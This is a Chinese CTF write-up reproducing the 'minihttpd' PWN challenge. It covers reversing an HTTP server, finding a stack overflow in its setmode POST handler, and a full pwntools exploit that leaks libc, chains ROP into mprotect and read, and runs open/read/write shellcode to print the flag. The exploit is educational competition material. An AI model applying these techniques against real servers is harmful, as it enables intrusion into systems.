• 这次PWN终于不是堆了,不喜欢打堆,已经往实战偏了,好兆头。比赛一开始上了内核题和另外一道题,内核没学就没去看了。另外一道题逆了半天又是server又是proxy,没啥思路。
  • 等第二次上题的时候发现有个minihttpd,由于之前学长在新生赛出了一题fruit ninja(这真得感谢学长了),也是关于httpd的,赛后复现了一下对httpd稍微有点了解,所以就直接开看。minihttpd真是酣畅淋漓的逆向和调试,真的牢爽了。
  • 但貌似今年密码题的质量太低了,一共三题,而且还没有格,去年密码貌似强度比较高。

PWN

minihttpd(复现)

真是酣畅淋漓的逆向

分析程序1

  • 对于分析程序这里主要是赛后复现,所以先逆再调试了,而赛中的时候是先逆一部分,再进行调试,边调试边将程序逆完。

  • 首先查看一下保护机制与沙箱,这边沙箱是在逆向的时候得知这个程序开启了沙箱。

    • 可以得知,这个程序没有开启pie保护,以及canary保护。
    • 并且这个程序开启沙箱只禁用了execveexecveat这两个系统调用。
    • 所以合理猜测考的就是栈溢出+ORW类型的题目(这里就直接从这两个分析出来,其实在比赛的时候还不知道是考什么东西,逆了2小时或者3小时才找到洞)

image-20251229133559816

image-20251229133516297

  • 接下来就是使用IDA pro反编译这个程序。先来查看一下main函数,在main函数这边关键点其实就是在这四个位置中。
    • 其中init_0()这个就是一个开沙箱操作,并且还有设置了三个signal()
    • 其次mybind()就是正常的绑定端口,这个函数的返回值就是fd文件描述符,这里一般来说是3(但是也说不准)。

image-20251229134131617

  • 再着就是bindurl(),这边详细说明一下bindurl()具体执行什么操作。这个地方就是相当于绑定一个路径,这个路径表明了你使用post方法访问指定的url会执行指定的函数。

image-20251229134459565

image-20251229135416655

分析程序2

  • main函数中的最后一个重要函数其实就是多线程创建函数,该函数我们主要在意的就是第三个参数和第四个参数。
    • 创建多线程的第三个参数,这个参数是一个函数指针,指向的是创建一个线程后该线程要执行的函数。
    • 创建多线程的第四个参数,这个参数是一个指针类型,根据上面的内容传递的是,accept()的返回值,即客户端与该程序建立连接后在该程序中指定的一个文件描述符。

image-20251229135620031

  • 接下来就是看多线程函数具体的程序逻辑,这个函数有151行,其中非常多行都是错误处理(算是比较贴近真实的开发了)。因为之前校赛打fruit ninja的时候就逆过httpd的这种程序,所以懂得大概的处理流程。大概的流程如下:
    • 接收请求头,并判断请求头是否合法,有没有什么非法字符。
    • 并判断请求头所使用的方法,如果是GET方法就按照GET方法来处理,就接收一些参数。如果是POST方法就按照POST方法来处理,接收body的长度Content-Length:,以及body的种。类(是正常字符流,还是json格式的,当然这个程序没有接收种类)。
    • 之后就是根据参数和路径判断使用哪些函数来处理,该发送哪些响应回去,该发送哪些资源文件到客户端去,该程序需要执行什么东东。

image-20251229140142985

  • 接下来按照上面的流程来逆向就会舒服很多

image-20251229140741861

image-20251229140814236

  • POST方法请求处理的部分

image-20251229141102132

  • 接下来就是错误处理的部分,以及没有错误的时候具体执行什么。

image-20251229141801505

分析程序3

  • 通过分析GET方法的请求处理,发现GET方法这边没洞

image-20251229142049213

  • 现在需要把重点放在POST方法,以及处理POST方法请求的对应响应函数中。其实就是这四个函数中

image-20251229142204757

  • 在赛中通过调试确定了POST请求方法的具体格式,以路径为helloPOST方法为例子,其实还是没有太在意http请求的细节,导致赛中是边调试边猜才得到正确的请求格式(其实就是web打少了)
1
2
3
4
POST /hello\r\n
Content-Length:xx\r\n

aaaaa
  • 接下来看看这些函数具体执行什么流程。hellopost()比较简单,就是这个流程。使用POST方法执行流程后就会返回这样的响应

image-20251229142827975

image-20251229143100307

  • echopost()函数如下,其实就是原封不动的返回用户发送的body数据

image-20251229143139665

image-20251229143233991

  • 接下来就来看getmodepost,其实就是得到modepost的内容

image-20251229145926262

image-20251229150007462

漏洞点

  • setmodepost这边这个就是body需要传入格式为setmode=aaaaaaa,其实就是post的传参,并且可以将传入的内容(也就是=后面的字符)写入文件。
  • 成功写入后返回的是200OK的操作

image-20251229143508175

image-20251229144005183

调试程序

  • 接下来就是怎么利用这个栈溢出漏洞的,这必然是需要调试的。那这个httpd怎么进行调试,当然是附加进程调试。调试httpd和平时的程序调试不太一样。这里我选用的一个比较麻烦的方法,就是先在一个终端这边启动这个httdp程序

image-20251229150817588

  • 然后再使用netstat -tulnp查看9999端口对应的进程号

image-20251229150858423

  • 再使用附加进程调试这个程序:
1
2
3
4
pid = 52322
def tiao():
gdb.attach(pid,gdbscript=gdb_script)
pause()
  • 这样我再使用remote()创建一个进程作为客户端,就可以正常调试用作服务端的程序了。调试代码是这样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
"""
0x0000000000402ff3 : pop rdi ; ret
0x0000000000402ff1 : pop rsi ; pop r15 ; ret
libc本地:
0x000000000011f357 : pop rdx ; pop r12 ; ret
libc远程:
0x000000000015fae6 : pop rdx ; pop rbx ; ret
"""

from pwn import *

ip = '127.0.0.1'
port = 9999

#libc = ELF('./libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.log_level = 'debug'
context.arch = 'amd64'

gdb_script = """
b *0x402B5A
"""

pid = 52322
def tiao():
gdb.attach(pid,gdbscript=gdb_script)
pause()

def hello(context):
body = b"POST /hello\r\n"
body += b"Content-Length:"+str(len(context)).encode()+b"\r\n"
p.sendline(body)
p.send(context)

def echo(context):
body = b"POST /echo\r\n"
body += b"Content-Length:"+str(len(context)).encode()+b"\r\n"
p.sendline(body)
sleep(0.1)
p.send(context)

def setmode(context):
"""
要求setmode格式, setmode=xxx
"""
body = b"POST /setmode\r\n"
body += b"Content-Length:"+str(len(context)).encode()+b"\r\n\r\n"#+context
p.send(body)
pause()
p.send(context)

def getmode(context):
"""
要求只能输入getmode
"""
body = b"POST /getmode\r\n"
body += b"Content-Length:"+str(len(context)).encode()+b"\r\n"
p.sendline(body)
p.send(context)

tiao()
p = remote(ip,port)
getmode(b'getmode')
p.interactive()

注意:使用该方法调试的缺点就是程序崩溃一次就要重新启动pid,还需要重新查看和修改pid的值。

思路与利用点

  • 我的思路是这样的:
    • 使用send泄露libc的地址,将程序跳转到main函数中再执行一次。首次连接的时候fd=4,其他时候连接的fd未知。此时这个fd还在保持着。由于服务端进程没死,libc的地址不变。
    • 直接再连接一次,通过调试确定第二个客服端连接时在服务端所指示的fd的值。
    • 调用mprotect,然后写shellcode实现orw。
    • 但是实际上一开始使用send是能稳定将libc输出出来的,但是不知道是怎么回事,调试到后面就一直泄露不了libc的地址。(然后远程打了也泄露不出来)
  • 赛后问了一下其他师傅(wp截止提交之后):发现可以利用读mode.txt和写mode.txt将libc给泄露出来。这个到时候之后再看看。
  • 现在赛后复现按照我的思路又能稳定泄露libc了。这里留个疑问,感觉是程序调试太多了,fd指针对应到内核的某个数据不够用了???

image-20251229153132229

  • 接下来完成我的思路剩下部分再来探究其他的解法,通过调试发现第二次客户端连接的时候fd=7,那orw的时候fd=7

image-20251229154201358

  • 修改后再来调试一次,调试的时候发现shellcode没写进去,通过调试发现rop布置的有点问题。

image-20251229154638011

  • 调试之后发现本地是能成功的,不使用gdb调试正常打也可以出来。现在就剩尝试远程的了。

image-20251229155320276

exp

  • 我的思路exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *

ip = '127.0.0.1'
port = 9999

#libc = ELF('./libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.log_level = 'debug'
context.arch = 'amd64'
gdb_script = """
b *0x402B5A
"""
pid = 67510
def tiao():
gdb.attach(pid,gdbscript=gdb_script)
pause()

#tiao()

def hello(context):
body = b"POST /hello\r\n"
body += b"Content-Length:"+str(len(context)).encode()+b"\r\n"
p.sendline(body)
p.send(context)

def echo(context):
body = b"POST /echo\r\n"
body += b"Content-Length:"+str(len(context)).encode()+b"\r\n"
p.sendline(body)
sleep(0.1)
p.send(context)

def setmode(context):
"""
要求setmode格式, setmode=xxx
"""
body = b"POST /setmode\r\n"
body += b"Content-Length:"+str(len(context)).encode()+b"\r\n\r\n"#+context
p.send(body)
pause()
p.send(context)

def getmode(context):
"""
要求只能输入getmode
"""
body = b"POST /getmode\r\n"
body += b"Content-Length:"+str(len(context)).encode()+b"\r\n"
p.sendline(body)
p.send(context)
"""
0x0000000000402ff3 : pop rdi ; ret
0x0000000000402ff1 : pop rsi ; pop r15 ; ret
"""

"""
libc本地:
0x000000000011f357 : pop rdx ; pop r12 ; ret
libc远程:
0x000000000015fae6 : pop rdx ; pop rbx ; ret
"""
p = remote(ip,port)

pop_rdi = 0x402ff3
pop_rsi_r15 = 0x402ff1
ret = 0x40101a

payload = b'setmode='+b'a'*0x448


payload += p64(pop_rdi)
payload += p64(4)
payload += p64(pop_rsi_r15)
payload += p64(0x405F10)
payload += p64(0)
payload += p64(0x401414)


payload += p64(ret)
payload += p64(0x402E1E)


setmode(payload)

leak = p.recvuntil(b'\x7f')[-6:]
send_addr = u64(leak.ljust(8,b'\x00'))
libc_base = send_addr - libc.sym['send']
print('[+]leak:',leak)
print('[+]libc_base:',hex(libc_base))


pop_rdx = 0x11f357 + libc_base
mprotect = libc_base + libc.sym['mprotect']
read = libc_base + libc.sym['read']
p.interactive()

pause()
p = remote(ip,port)
payload = b'setmode='+b'a'*0x448 + p64(pop_rdi)
payload += p64(0x406000)
payload += p64(pop_rsi_r15)
payload += p64(0x1000)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(7)
payload += p64(0)
payload += p64(mprotect)
payload += p64(pop_rdi)
payload += p64(7)
payload += p64(pop_rsi_r15)
payload += p64(0x406000)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(0)
payload += p64(read)
payload += p64(0x406000)
setmode(payload)
#getmode(b'getmode')
shellcode = shellcraft.open('./flag',0)
shellcode += shellcraft.read('rax',0x406100,0x50)
shellcode += shellcraft.write(7,0x406100,0x50)
shellcode = asm(shellcode)
pause()
p.send(shellcode)
p.interactive()

Crypto